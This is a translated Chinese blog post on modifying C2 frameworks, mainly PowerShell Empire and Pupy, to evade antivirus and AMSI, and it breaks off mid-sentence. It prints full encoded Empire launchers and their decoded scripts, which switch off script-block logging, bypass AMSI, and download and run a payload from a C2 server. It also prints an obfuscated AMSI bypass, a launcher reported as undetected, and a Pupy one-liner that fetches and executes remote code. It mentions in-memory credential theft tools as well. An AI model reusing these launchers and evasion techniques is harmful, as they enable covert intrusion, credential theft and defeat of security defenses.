安全技术

自定义 C2-Frameworks 来逃避 AV 检测

zeronohacker · 11月23日 · 2020年 · 283次已读

本篇文章翻译自:Customizing C2-Frameworks for AV-Evasion

这篇文章将会给大家阐述如何通过修改后的 Command & Control (C2) Frameworks 来逃避 AV 检测。

1 介绍

在过去的几周,我参与了 红队队员的培训课程,在课程当中使用了基于 C2-Framework 的 Covenant,我从中获取到了一些经验。当开始学习这门课程时,并没有关于逃避 AV 检测和 C2-Customization 的说明,所以自己用 Covenant 做了关于这方面的内容,同时增加了 逃避 AV 检测,Rastamouse 在此 发布了关于此内容的一部分。

提示:Covenant 是一个具有攻击性的 .NET 命令和控制框架,可充当为红队队员协作命令和控制平台。

在这篇博客文章中,我将介绍如何通过更改 C2-Frameworks 源代码的方法来逃避 AV 检测。应当明确的是,由于我的方法是公开的,因此我的方法将在不久的将来会 get flagged,因此,我建议在这之后再创建你自己的项目。

注:关于 get flagged 的说明 -> https://www.bilibili.com/video/av712735770/

第一部分将介绍 Powershell Empire,这是我在从事安全职业生涯中第一次接触 C2-Frameworks。

提示:Empire 3 是一个后来开发的框架,因为它是之前的 PowerShell Empire 和 Python EmPyre 项目的合并,包括纯 PowerShell Windows 代理,并与 Python 3.x Linux/OS X 代理兼容。该框架提供了密码安全的通信和灵活的结构。

第二部分将介绍 Pupy,它具有一些非常独特的模块和特性。

提示:Pupy 主要是使用 Python 编写的跨平台,多功能 RAT 工具。它具有全内存执行准则,并且占用空间极小。Pupy 可以使用多种传输方式进行通信,可以使用反射注入到进程中,还可以从内存中远程加载 Python 代码,Python 包和 Python C 扩展。

最后,但并不是最重要的是,我将会写关于我的 Covenant 方法。

因此,让我们直接进入吧!

2 Powershell Empire

BC-Security 在 Empire 的方方面面 (更新、维护等) 做得非常出色。感觉每周都会在框架中实现新的功能和改进。 Powershell Empire 有许多好处,因此值得使用该框架。我个人认为最重要的是:

  • 有很多模块,涉及提权,横向移动,域枚举,凭证收集,持久性等等;
  • 易于使用的 CLI,到目前为止,我还没有使用 Starkiller GUI;
  • 非常稳定,代理可以存活,几乎很少发生崩溃;
  • 易于修改以及可集成定制模块;

提示:Starkiller 是 Powershell Empire 的前端。它是用 VueJS 编写的 Electron 应用程序。

我认为最常用的默认 HTTP-Listener 选项如下所示:

如果我们保留默认选项,请设置侦听端口并启动侦听器,我们可以在 Powershell 或 Python 启动器进行选择。Python 启动器用于 linux 代理,这我不会深入探讨。具有默认选项的 Powershell 启动器如下所示:

Powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAHIAUwBJAG8AbgBUAEEAYgBMAEUALgBQAFMAVgBlAFIAUwBJAG8ATgAuAE0AQQBKAE8AUgAgAC0ARwBFACAAMwApAHsAJABjADMAMgAyAD0AWwByAEUAZgBdAC4AQQBzAFMARQBNAGIATABZAC4ARwBlAHQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkALgAiAEcARQB0AEYAaQBlAGAATABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAEYAKAAkAGMAMwAyADIAKQB7ACQAYwA3ADQAMgA9ACQAYwAzADIAMgAuAEcARQBUAFYAQQBMAFUAZQAoACQATgB1AEwATAApADsASQBmACgAJABDADcANAAyAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQAYwA3ADQAMgBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABjADcANAAyAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAVgBBAEwAPQBbAEMAbwBsAGwAZQBDAFQASQBvAG4AUwAuAEcARQBOAGUAcgBJAGMALgBEAEkAYwB0AGkATwBOAEEAUgB5AFsAUwB0AHIASQBOAGcALABTAFkAUwB0AEUAbQAuAE8AYgBKAGUAQwBUAF0AXQA6ADoAbgBlAHcAKAApADsAJABWAEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABWAGEAbAAuAEEAZABEACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAGMANwA0ADIAWwAnAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQA9ACQAdgBhAGwAfQBFAEwAUwBlAHsAWwBTAEMAcgBpAFAAdABCAEwAbwBjAGsAXQAuACIARwBFAFQARgBpAGUAYABMAGQAIgAoACcAcwBpAGcAbgBhAHQAdQByAGUAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAQQBMAFUAZQAoACQATgB1AEwAbAAsACgATgBFAHcALQBPAEIAagBFAEMAVAAgAEMATwBMAEwAZQBDAFQASQBvAG4AUwAuAEcARQBOAGUAUgBJAGMALgBIAEEAUwBIAFMAZQBUAFsAUwB0AFIAaQBOAGcAXQApACkAfQAkAFIAZQBmAD0AWwBSAEUARgBdAC4AQQBTAFMAZQBtAGIAbABZAC4ARwBlAFQAVABZAHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAJwArACcAVQB0AGkAbABzACcAKQA7ACQAUgBFAEYALgBHAEUAdABGAGkARQBMAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGACcAKwAnAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAQQBsAHUAZQAoACQATgB1AEwAbAAsACQAdABSAHUAZQApADsAfQA7AFsAUwBZAFMAVABlAE0ALgBOAGUAVAAuAFMAZQByAHYASQBDAEUAUABvAEkATgB0AE0AYQBOAEEAZwBlAFIAXQA6ADoARQB4AFAAZQBDAHQAMQAwADAAQwBvAG4AVABpAG4AVQBFAD0AMAA7ACQANQA3ADkAMwA9AE4ARQB3AC0ATwBCAGoARQBDAHQAIABTAHkAcwBUAGUAbQAuAE4AZQBUAC4AVwBFAEIAQwBsAEkAZQBOAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQAZQBYAHQALgBFAE4AQwBPAGQAaQBOAGcAXQA6ADoAVQBOAGkAYwBPAEQAZQAuAEcARQBUAFMAVAByAEkAbgBHACgAWwBDAG8AbgB2AGUAUgB0AF0AOgA6AEYAcgBvAE0AQgBBAFMARQA2ADQAUwB0AHIASQBOAEcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATQBRAEEAdwBBAEQAQQBBAEwAZwBBAHgAQQBEAE0AQQBNAFEAQQA2AEEARABnAEEATQBBAEEAPQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAA1ADcAOQAzAC4ASABFAEEARABFAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQANQA3ADkAMwAuAFAAcgBPAFgAWQA9AFsAUwB5AHMAVABlAE0ALgBOAGUAVAAuAFcARQBCAFIARQBxAHUAZQBzAHQAXQA6ADoARABlAEYAYQBVAEwAdABXAEUAQgBQAHIATwBYAHkAOwAkADUANwA5ADMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AEkAYQBsAHMAIAA9ACAAWwBTAFkAUwB0AEUAbQAuAE4ARQB0AC4AQwBSAGUAZABFAG4AVABpAEEATABDAEEAYwBIAGUAXQA6ADoARABlAEYAQQB1AEwAdABOAGUAdAB3AG8AcgBrAEMAcgBFAEQAZQBOAFQASQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAA1ADcAOQAzAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAUwB0AEUATQAuAFQAZQB4AFQALgBFAG4AQwBvAGQAaQBOAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAHQAQgB5AFQARQBTACgAJwBHAGUAWABTAFoAbwApAHQARAAyADsAfQBDACwAUgBmADkAWQBqAEoANgBWAF0AewB2AE8AZAAlAEkARQAmACgAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AVQBOAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgBYAG8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAA1ADcAOQAzAC4ASABlAGEARABlAFIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBBAGEAcgBVAHEAagBhAFAAVwBBAFYATgA9AE8AYgBSAHMAQwAyAFYAUAB1ADAAcgBWAHIAcwAyADYASQBSACsAMAAxAGUANQBXAGsALwB3AD0AIgApADsAJABkAGEAVABhAD0AJAA1ADcAOQAzAC4ARABvAHcATgBsAE8AYQBkAEQAQQB0AGEAKAAkAFMARQBSACsAJABUACkAOwAkAGkAdgA9ACQAZABhAFQAYQBbADAALgAuADMAXQA7ACQARABBAFQAYQA9ACQARABBAHQAYQBbADQALgAuACQAZABBAHQAYQAuAEwAZQBOAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAQQByAFsAXQBdACgAJgAgACQAUgAgACQAZABBAFQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA

在安装了 AV 软件的 Windows 系统上执行此启动器很可能会导致进程阻塞和弹出 AV 消息。有以下原因之一:

  • 许多 AV 供应商都具有这么一个模块,这个模块可以阻止生成带有 -noP -sta -w1 -enc 参数的新 Powershell 进程 —— 脚本内容本身目前尚不完善,所有内容均被阻止;
  • 使用 AMSI 并阻止 BASE64 编码的脚本内容;

-noP -sta -w1 -enc 参数中的 -noP 表示不加载当前用户的配置文件;-sta 表示的是使用单线程单元来启动 Powershell;-w1 表示的是设置会话窗口样式,此处为隐藏窗口被打开;-enc 表示的是允许传入一个 base64 编码过的字符串。仅使用这些参数之一就可能会阻止通过 AV 模块执行。为了绕开,对源代码修改更是于事无补。但是你可以避免使用这些参数,而是执行解码后的脚本。

提示:更多参数可详见 https://docs.microsoft.com/de-de/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1

现在,我们将使用命令 echo “Base64Content” | base64 对启动程序的内容进行解码。base64 -d 看看,Empire 在这里到底在做什么。base64 解码的内容看起来像这样,为了更好地了解,我用换行符替换了一些分号:

If($PSVerSIonTAbLE.PSVeRSIoN.MAJOR -GE 3){$c322=[rEf].AsSEMbLY.GetTypE('System.Management.Automation.Utils')."GEtFie`LD"('cachedGroupPolicySettings','N'+'onPublic,Static')
IF($c322){$c742=$c322.GETVALUe($NuLL)
If($C742['ScriptB'+'lockLogging']){$c742['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$c742['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$VAL=[ColleCTIonS.GENerIc.DIctiONARy[StrINg,SYStEm.ObJeCT]]::new()
$VAL.ADd('EnableScriptB'+'lockLogging',0)
$Val.AdD('EnableScriptBlockInvocationLogging',0)
$c742['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val}ELSe{[SCriPtBLock]."GETFie`Ld"('signatures','N'+'onPublic,Static').SETVALUe($NuLl,(NEw-OBjECT COLLeCTIonS.GENeRIc.HASHSeT[StRiNg]))}$Ref=[REF].ASSemblY.GeTTYpe('System.Management.Automation.Amsi'+'Utils')
$REF.GEtFiELD('amsiInitF'+'ailed','NonPublic,Static').SETVAlue($NuLl,$tRue);}
[SYSTeM.NeT.ServICEPoINtMaNAgeR]::ExPeCt100ConTinUE=0;$5793=NEw-OBjECt SysTem.NeT.WEBClIeNt
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'
$ser=$([TeXt.ENCOdiNg]::UNicODe.GETSTrInG([ConveRt]::FroMBASE64StrING('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwADAALgAxADMAMQA6ADgAMAA=')))
$t='/login/process.php';$5793.HEADErs.Add('User-Agent',$u)
$5793.PrOXY=[SysTeM.NeT.WEBREquest]::DeFaULtWEBPrOXy;$5793.Proxy.CredentIals = [SYStEm.NEt.CRedEnTiALCAcHe]::DeFAuLtNetworkCrEDeNTIals
$Script:Proxy = $5793.Proxy;$K=[SyStEM.TexT.EnCodiNG]::ASCII.GEtByTES('GeXSZo)tD2;}C,Rf9YjJ6V]{vOd%IE&(')
$R={$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I]
$_-bXoR$S[($S[$I]+$S[$H])%256]}};$5793.HeaDeRs.ADD("Cookie","AarUqjaPWAVN=ObRsC2VPu0rVrs26IR+01e5Wk/w=")
$daTa=$5793.DowNlOadDAta($SER+$T);$iv=$daTa[0..3];$DATa=$DAta[4..$dAta.LeNgth];-join[ChAr[]](& $R $dATa ($IV+$K))|IEX

如果 Powershell 版本为 2 或更低的话,则根本不会执行启动器的很大一部分。那是因为 Powershell v2 没有 AMSI 和脚本块记录日志支持。在 if 语句之间,各个保护机制有不同的 bypass,一个脚本块日志记录 bypass 和一个 AMSI bypass。

你可以在 Empire 的 lib/common/bypasses.py 文件中修改任何 Empire bypass:

如果你想知道如何创建自己的自定义 bypass,建议你来阅读我较早写的一篇 Blog -> Post Bypass AMSI by manual modification

让我们再次使用 AMSITrigger 查找我们的 Empire 启动器的 AMSI 触发器:

在命令行下,用触发器处理这些 base64 很容易,因为 base64 签名无效,它只是完整 base64 字符串的一部分。但是,例如将 CyberChef 与 From Base64 配合使用:

这确实是 AMSI bypass,它是第一个触发器。

我们将使用一个 Amsi.fail Payload 来创建具有自定义签名的现有 bypass:

#Matt Graebers Reflection method 
[Ref].AsSEMbly.GeTtype('System.Management.Automation.'+$([SYsTeM.NET.weButIlity]::HTmLDEcodE('Amsi'))+'Utils').GetField(''+$([CHAr]([BYTe]0x61)+[chAR](81+28)+[char](211-96)+[cHaR](149-44))+'InitFailed',$([CHaR]([byTe]0x4E)+[ChAr](198-87)+[CHaR](1980/18)+[CHAR](77+3)+[ChAr]([Byte]0x75)+[CHar](5684/58)+[cHAR]([BYte]0x6C)+[ChAR]([BYtE]0x69)+[ChaR]([BYTE]0x63)+[chAR]([bYtE]0x2C)+[ChAR]([Byte]0x53)+[cHAR](116)+[ChAR](97)+[chaR]([BytE]0x74)+[Char](68+37)+[cHAr](78+21))).SetValue($null,$true);

你可以将网站上的新 AMSI bypass 复制粘贴到 lib/common/bypasses.py 的 bypass 变量中。但是取决于 bypass,你可能必须转义一些特殊字符。

第二个触发器用于与 C2-Framework 的 HTTP 连接:

我们可以看到,来自侦听器选项菜单的 User-Agent,C2-Server 的 base64 编码的 IP 地址,连接的 URL 和被 AMSI 标记的代理设置,因此,让我们在监听器菜单中更改 User-Agent 和 URL 的值:

新的启动器代码比如像下面这样:

Powershell -enc SQBGACgAJABQAFMAVgBFAHIAcwBpAE8ATgBUAGEAYgBsAEUALgBQAFMAVgBlAFIAUwBJAE8AbgAuAE0AQQBqAG8AUgAgAC0AZwBlACAAMwApAHsAWwBSAGUAZgBdAC4AQQBzAFMARQBNAGIAbAB5AC4ARwBlAFQAdAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuACcAKwAkACgAWwBTAFkAcwBUAGUATQAuAE4ARQBUAC4AdwBlAEIAdQB0AEkAbABpAHQAeQBdADoAOgBIAFQAbQBMAEQARQBjAG8AZABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAKwAnAFUAdABpAGwAcwAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnACcAKwAkACgAWwBDAEgAQQByAF0AKABbAEIAWQBUAGUAXQAwAHgANgAxACkAKwBbAGMAaABBAFIAXQAoADgAMQArADIAOAApACsAWwBjAGgAYQByAF0AKAAyADEAMQAtADkANgApACsAWwBjAEgAYQBSAF0AKAAxADQAOQAtADQANAApACkAKwAnAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACQAKABbAEMASABhAFIAXQAoAFsAYgB5AFQAZQBdADAAeAA0AEUAKQArAFsAQwBoAEEAcgBdACgAMQA5ADgALQA4ADcAKQArAFsAQwBIAGEAUgBdACgAMQA5ADgAMAAvADEAOAApACsAWwBDAEgAQQBSAF0AKAA3ADcAKwAzACkAKwBbAEMAaABBAHIAXQAoAFsAQgB5AHQAZQBdADAAeAA3ADUAKQArAFsAQwBIAGEAcgBdACgANQA2ADgANAAvADUAOAApACsAWwBjAEgAQQBSAF0AKABbAEIAWQB0AGUAXQAwAHgANgBDACkAKwBbAEMAaABBAFIAXQAoAFsAQgBZAHQARQBdADAAeAA2ADkAKQArAFsAQwBoAGEAUgBdACgAWwBCAFkAVABFAF0AMAB4ADYAMwApACsAWwBjAGgAQQBSAF0AKABbAGIAWQB0AEUAXQAwAHgAMgBDACkAKwBbAEMAaABBAFIAXQAoAFsAQgB5AHQAZQBdADAAeAA1ADMAKQArAFsAYwBIAEEAUgBdACgAMQAxADYAKQArAFsAQwBoAEEAUgBdACgAOQA3ACkAKwBbAGMAaABhAFIAXQAoAFsAQgB5AHQARQBdADAAeAA3ADQAKQArAFsAQwBoAGEAcgBdACgANgA4ACsAMwA3ACkAKwBbAGMASABBAHIAXQAoADcAOAArADIAMQApACkAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACQAdAByAHUAZQApADsAfQA7AFsAUwBZAHMAdABlAE0ALgBOAEUAVAAuAFMAZQByAFYAaQBjAGUAUABvAEkAbgBUAE0AQQBOAEEARwBlAFIAXQA6ADoARQBYAHAAZQBDAFQAMQAwADAAQwBPAG4AdABpAE4AdQBFAD0AMAA7ACQAYgAzADkAMAA0AD0ATgBlAHcALQBPAEIAagBFAEMAVAAgAFMAWQBTAFQAZQBtAC4ATgBFAHQALgBXAGUAQgBDAGwASQBFAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAA7ACAAcgB2ADoANwAwAC4AMAApACAARwBlAGMAawBvAC8AMgAwADEAMAAwADEAMAAxACAARgBpAHIAZQBmAG8AeAAvADcAMAAuADAAJwA7ACQAcwBlAHIAPQAkACgAWwBUAEUAeABUAC4ARQBOAEMATwBEAGkAbgBHAF0AOgA6AFUATgBJAEMAbwBkAEUALgBHAGUAdABTAFQAUgBpAE4AZwAoAFsAQwBPAE4AdgBFAHIAVABdADoAOgBGAHIAbwBNAEIAYQBTAEUANgA0AFMAdABSAEkATgBnACgAJwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATgBnAEEANABBAEMANABBAE0AUQBBAHcAQQBEAEEAQQBMAGcAQQB4AEEARABNAEEATQBRAEEANgBBAEQAZwBBAE0AQQBBAD0AJwApACkAKQA7ACQAdAA9ACcALwBfAGwAYQB5AG8AdQB0AHMALwAxADUALwBxAHUAaQBjAGsAbABpAG4AawBzAGQAaQBhAGwAbwBnAGYAbwByAG0ALgBhAHMAcAB4AD8AUABpAGMAawBlAHIARABpAGEAbABvAGcAVAB5AHAAZQA9AE0AaQBjAHIAbwBzAG8AZgB0AC4AUwBoAGEAcgBlAFAAbwBpAG4AdAAuAFcAZQBiAEMAbwBuAHQAcgBvAGwAcwAuAEkAdABlAG0AUABpAGMAawBlAHIARABpAGEAbABvAGcAJwA7ACQAQgAzADkAMAA0AC4ASABFAEEAZABFAFIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAYgAzADkAMAA0AC4AUAByAG8AWABZAD0AWwBTAFkAcwB0AGUAbQAuAE4ARQBUAC4AVwBlAEIAUgBFAFEAVQBFAFMAdABdADoAOgBEAEUARgBBAFUATABUAFcAZQBCAFAAcgBvAHgAeQA7ACQAYgAzADkAMAA0AC4AUAByAE8AWABZAC4AQwBSAEUAZABFAG4AVABpAGEAbABTACAAPQAgAFsAUwB5AFMAdABlAE0ALgBOAEUAVAAuAEMAcgBlAGQAZQBuAHQASQBBAGwAQwBBAGMAaABFAF0AOgA6AEQAZQBmAGEAVQBsAHQATgBlAHQAdwBPAHIAawBDAFIARQBEAGUATgB0AGkAYQBMAFMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAYgAzADkAMAA0AC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAFkAcwBUAEUATQAuAFQAZQB4AFQALgBFAE4AQwBvAGQASQBuAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgBZAHQAZQBTACgAJwBHAGUAWABTAFoAbwApAHQARAAyADsAfQBDACwAUgBmADkAWQBqAEoANgBWAF0AewB2AE8AZAAlAEkARQAmACgAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBOAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgB4AE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABCADMAOQAwADQALgBIAEUAQQBkAGUAUgBzAC4AQQBEAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAEEAYQByAFUAcQBqAGEAUABXAEEAVgBOAD0AbQAyADQAMgBkADYAWAA2AHoAbQBwADgAQQBEAHkAaQB6ADAAMwA4AGQAVQBxAGQARwBwAHMAPQAiACkAOwAkAGQAYQB0AEEAPQAkAEIAMwA5ADAANAAuAEQATwB3AG4AbABvAEEARABEAEEAVABhACgAJABTAEUAUgArACQAVAApADsAJABJAHYAPQAkAEQAYQBUAEEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AEEAPQAkAEQAQQB0AGEAWwA0AC4ALgAkAEQAQQBUAGEALgBsAGUAbgBHAFQAaABdADsALQBKAE8AaQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==

AMSITrigger 返回 [+] AMSI_RESULT_NOT_DETECTED,执行将导致代理连接成功:

Empire 中的所有模块怎么样?他们使用的脚本也被 AMSI 检测到,Empire 使用模块创建新的进程,因此,每次使用模块时,我们都需要一个新的 bypass,我们有两种选择:

  • 我们可以修改 data/module_source/ 目录中的每个 .ps1 文件,以便 AMSI 不会标记任何文件。如果你还修改了默认的 stage2 脚本数据 /agent/stagers/http.ps1,那么你甚至根本不需要任何 AMSI bypass。 这是一项非常大的一次性工作,但是检测变得更加困难。如何修改脚本? 看看较旧的博客文章;
  • 我们可以将模块选项 AMSIBypassObfuscate 设置为 true,以确保不再标记模块。一个不足之处是,通过不禁用脚本块日志记录,检出率非常高。

混淆处理对具有给定选项的每个模块都使用 Invoke-Obfuscation。我个人的经验是,与使用 AMSIBypassObfuscate 相比,逐个修改每个脚本更有效,更可靠。

3 Pupy C2

Pupy C2 有两个非常不错的主要功能,到目前为止,我在其他开源框架中测试中都没有看到过有哪个有这两个好用的功能:

  • Windows Payload 使用反射式 DLL 从内存中加载整个 Python 解释器,因此只要添加了依赖库,任何 Python 脚本都可以在内存中加载并执行;
  • 交互式 shell 模块使得自动完成功能的全功能命令行 shell 程序成为可能,这就像在打开了 cmd 的远程系统上一样;
  • 支持 linux;

可在内存中加载并执行 Python 代码,例如 LaZagne 就是这么做,也可作为一个集成模块。在我个人看来,LaZagne 是 Windows 环境下凭据的通行证,使用 pypykatz 来获取 lsass 凭据,浏览器凭据以及一些 sysadmin-tool 凭据。如果有人在未安装 Python 的 Windows 主机上的内存中找到用于执行 LaZagne 的方法 (通过 Powershell 或 .NET 二进制文件),我会将我的 DMs 都开放,这是我尝试过的许多个人项目中的一个。

Pupy 还具有从 Android 软件包到 Linux Binaries,Windows PE Executables 和 Powershell 以及 Python oneliners 的多个 stager 选项:

生成 Windows Powershell oneliner 就像 gen -f ps1_oneliner -O windows 一样简单:

Pupy 默认使用两个端口,一个用于托管 Payload 的 Web 服务器,另一个用于通过加密通道的传入连接和 C2-Command。Powershell oneliners 只需从 pupy Web 服务器加载脚本,这些脚本非常庞大,因为它们包含整个 Python 解释器。因此,加载 Stage2 有时可能需要一段时间。Web 服务器的 Pupy Powershell 文件位于目录 /root/.config/pupy/data/wwwroot/ 中。 让我们看一下名为 7BLd42qxkI 的 Stage1 Payload:

$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aWYgKCRFbnY6UFJPQ0VTU09SX0FSQ0hJVEVDVFVSRSAtZXEgJ0FNRDY0Jyl7IElFWChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTkyLjE2OC4xMDAuMTMxOjQ0My96UkZ0aElLVElWL0tzb3RYa1Q4WkYnKTsgfSBlbHNlIHsgSUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjEwMC4xMzE6NDQzL3pSRnRoSUtUSVYvekxpRHJHTnpHdCcpOyB9'));iex $code

Stage2 既不是 x86 也不是 x64,这取决于受害者的系统,并且包含主要的代理代码。Stage2 的大小超过 9MB,因此在这里我不会显示代码,但是我可以解释 pupy 在做什么。

Pupy 正在通过 Invoke-ReflectivePEInjection.ps1 将 C 编译的代理可执行文件加载到内存中。如果你阅读过我以前的博客文章,就知道此脚本已被 AMSI 标记。此脚本及其 AmsiTrigger.exe 是撰写本文时针对 Pupy Powershell Payload 的唯一检测技术。因此,如果将 Invoke-ReflectivePEInjection.ps1 替换为自定义的修改版本,你将不会再遇到任何 AV 问题。我在以前的博客文章 Bypass AMSI by manual modification part II – Invoke-Mimikatz 里就做了一个,它位于 本要点 中。这个我在两个月前就公开了,但是由于它是公开的,所以有了新的触发器:

